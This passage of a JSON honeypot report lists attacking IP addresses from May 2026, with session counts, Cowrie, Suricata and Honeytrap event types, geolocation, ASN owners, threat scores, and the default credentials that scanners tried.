        "last_seen_30d": "2026-05-13T13:59:40.306000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "27.37.100.177": {
      "attack_count": 34,
      "first_seen": "2026-05-29T08:59:43.637Z",
      "last_seen": "2026-05-29T09:03:35.609Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:59:43.637000+00:00",
        "last_seen_30d": "2026-05-29T09:04:41.710000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "43.228.157.171": {
      "attack_count": 33,
      "first_seen": "2026-05-09T10:51:53.760Z",
      "last_seen": "2026-05-16T22:12:56.930Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "adm",
        "admin",
        "router",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin!@#",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:51:53.760000+00:00",
        "last_seen_30d": "2026-05-16T22:14:00.149000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 26
      }
    },
    "206.135.161.222": {
      "attack_count": 26,
      "first_seen": "2026-05-02T10:00:05.305Z",
      "last_seen": "2026-05-02T10:02:55.723Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:00:05.305000+00:00",
        "last_seen_30d": "2026-05-02T10:04:01.204000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "36.231.115.169": {
      "attack_count": 26,
      "first_seen": "2026-05-19T00:14:29.502Z",
      "last_seen": "2026-05-19T02:25:36.542Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:14:29.502000+00:00",
        "last_seen_30d": "2026-05-19T02:26:43.481000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 13
      }
    },
    "192.53.122.228": {
      "attack_count": 24,
      "first_seen": "2026-05-08T19:32:15.573Z",
      "last_seen": "2026-05-08T19:32:18.534Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T21:14:37.918000+00:00",
        "last_seen_30d": "2026-05-10T05:10:23.143000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 15,
        "Honeytrap": 1
      }
    },
    "45.142.154.88": {
      "attack_count": 22,
      "first_seen": "2026-05-28T10:34:00.026Z",
      "last_seen": "2026-05-28T10:34:31.449Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 58.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 18.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 22,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T08:40:36+00:00",
        "last_seen_30d": "2026-05-28T10:35:37.908000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 27,
        "Cowrie": 22
      }
    },
    "139.162.180.143": {
      "attack_count": 18,
      "first_seen": "2026-05-02T23:48:45.340Z",
      "last_seen": "2026-05-12T00:55:35.029Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:48:45.340000+00:00",
        "last_seen_30d": "2026-05-12T00:56:40.351000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "177.86.71.245": {
      "attack_count": 18,
      "first_seen": "2026-05-11T12:49:22.993Z",
      "last_seen": "2026-05-11T13:06:26.172Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Peabiru",
      "asn": 52560,
      "as_org": "ATK Telecomunicacoes Ltda.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:49:22.993000+00:00",
        "last_seen_30d": "2026-05-11T13:07:34.313000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 13
      }
    },
    "182.176.84.191": {
      "attack_count": 18,
      "first_seen": "2026-05-17T22:08:03.636Z",
      "last_seen": "2026-05-31T21:59:05.590Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T22:08:03.636000+00:00",
        "last_seen_30d": "2026-05-31T22:00:09.028000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "81.193.147.26": {
      "attack_count": 14,
      "first_seen": "2026-05-15T15:19:41.656Z",
      "last_seen": "2026-05-15T15:21:59.780Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Seixal",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T15:19:41.656000+00:00",
        "last_seen_30d": "2026-05-15T15:32:48.647000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "61.240.17.66": {
      "attack_count": 13,
      "first_seen": "2026-05-10T01:14:02.928Z",
      "last_seen": "2026-05-10T01:14:08.621Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "lau"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T01:14:02+00:00",
        "last_seen_30d": "2026-05-10T01:15:18.782000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 13,
        "Honeytrap": 1
      }
    },
    "108.181.57.247": {
      "attack_count": 12,
      "first_seen": "2026-05-05T04:42:44.256Z",
      "last_seen": "2026-05-10T00:01:39.693Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:42:44.256000+00:00",
        "last_seen_30d": "2026-05-10T00:02:40.924000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "142.91.109.163": {
      "attack_count": 12,
      "first_seen": "2026-05-03T02:10:51.676Z",
      "last_seen": "2026-05-03T08:17:04.949Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 134351,
      "as_org": "Leaseweb Japan K.K.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:10:51.676000+00:00",
        "last_seen_30d": "2026-05-03T08:18:05.539000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "179.125.94.58": {
      "attack_count": 12,
      "first_seen": "2026-05-28T22:58:53.538Z",
      "last_seen": "2026-05-28T23:06:57.063Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jundia\u00ed",
      "asn": 262988,
      "as_org": "Pombonet Telecomunicacoes e Informatica",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:58:53.538000+00:00",
        "last_seen_30d": "2026-05-28T23:08:03.872000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "192.121.170.173": {
      "attack_count": 12,
      "first_seen": "2026-05-10T09:45:01.629Z",
      "last_seen": "2026-05-10T12:52:42.317Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 57169,
      "as_org": "EDIS GmbH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:45:01.629000+00:00",
        "last_seen_30d": "2026-05-10T12:53:43.921000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "74.48.72.15": {
      "attack_count": 12,
      "first_seen": "2026-05-08T19:26:59.716Z",
      "last_seen": "2026-05-08T20:56:50.925Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:26:59.716000+00:00",
        "last_seen_30d": "2026-05-08T20:57:56.828000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "112.164.20.69": {
      "attack_count": 10,
      "first_seen": "2026-05-23T07:50:29.027Z",
      "last_seen": "2026-05-23T07:50:32.107Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:50:29.027000+00:00",
        "last_seen_30d": "2026-05-23T07:51:34.934000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "164.152.54.75": {
      "attack_count": 10,
      "first_seen": "2026-05-03T16:26:47.139Z",
      "last_seen": "2026-05-07T14:24:57.411Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:26:47.139000+00:00",
        "last_seen_30d": "2026-05-07T14:26:14.221000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "167.172.90.163": {
      "attack_count": 9,
      "first_seen": "2026-05-02T19:19:07.787Z",
      "last_seen": "2026-05-23T01:18:41.633Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:19:07.787000+00:00",
        "last_seen_30d": "2026-05-30T20:19:32.179000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 9,
        "Honeytrap": 4
      }
    },
    "102.209.254.99": {
      "attack_count": 6,
      "first_seen": "2026-05-23T01:19:51.658Z",
      "last_seen": "2026-05-23T01:28:10.798Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": null,
      "asn": 328539,
      "as_org": "Giga-Communication",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:19:51.658000+00:00",
        "last_seen_30d": "2026-05-23T01:30:06.994000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "37.235.54.150": {
      "attack_count": 6,
      "first_seen": "2026-05-08T17:55:40.533Z",
      "last_seen": "2026-05-08T17:55:43.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 39326,
      "as_org": "Syntura Group Limited",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:55:40.533000+00:00",
        "last_seen_30d": "2026-05-08T17:56:52.992000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "157.173.220.155": {
      "attack_count": 5,
      "first_seen": "2026-05-24T17:52:57.220Z",
      "last_seen": "2026-05-24T17:52:58.966Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech$12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:52:57.220000+00:00",
        "last_seen_30d": "2026-05-24T17:54:00.556000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.104.162": {
      "attack_count": 4,
      "first_seen": "2026-05-17T03:13:55.725Z",
      "last_seen": "2026-05-20T15:05:11.168Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:13:55.725000+00:00",
        "last_seen_30d": "2026-05-20T15:06:14.801000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "14.192.132.90": {
      "attack_count": 4,
      "first_seen": "2026-05-26T09:56:34.418Z",
      "last_seen": "2026-05-26T09:57:02.989Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 45814,
      "as_org": "Fariya Networks Pvt. Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:56:34.418000+00:00",
        "last_seen_30d": "2026-05-26T09:58:12.614000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.18": {
      "attack_count": 4,
      "first_seen": "2026-05-02T16:12:34.995Z",
      "last_seen": "2026-05-02T16:12:38.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:14:14+00:00",
        "last_seen_30d": "2026-05-30T18:58:02.324000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 16,
        "Cowrie": 4
      }
    },
    "40.124.186.160": {
      "attack_count": 4,
      "first_seen": "2026-05-02T07:32:05.477Z",
      "last_seen": "2026-05-02T07:32:15.968Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:32:05.477000+00:00",
        "last_seen_30d": "2026-05-26T22:53:48.699000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "8.219.233.233": {
      "attack_count": 4,
      "first_seen": "2026-05-13T06:44:01.280Z",
      "last_seen": "2026-05-21T22:59:02.088Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 9,
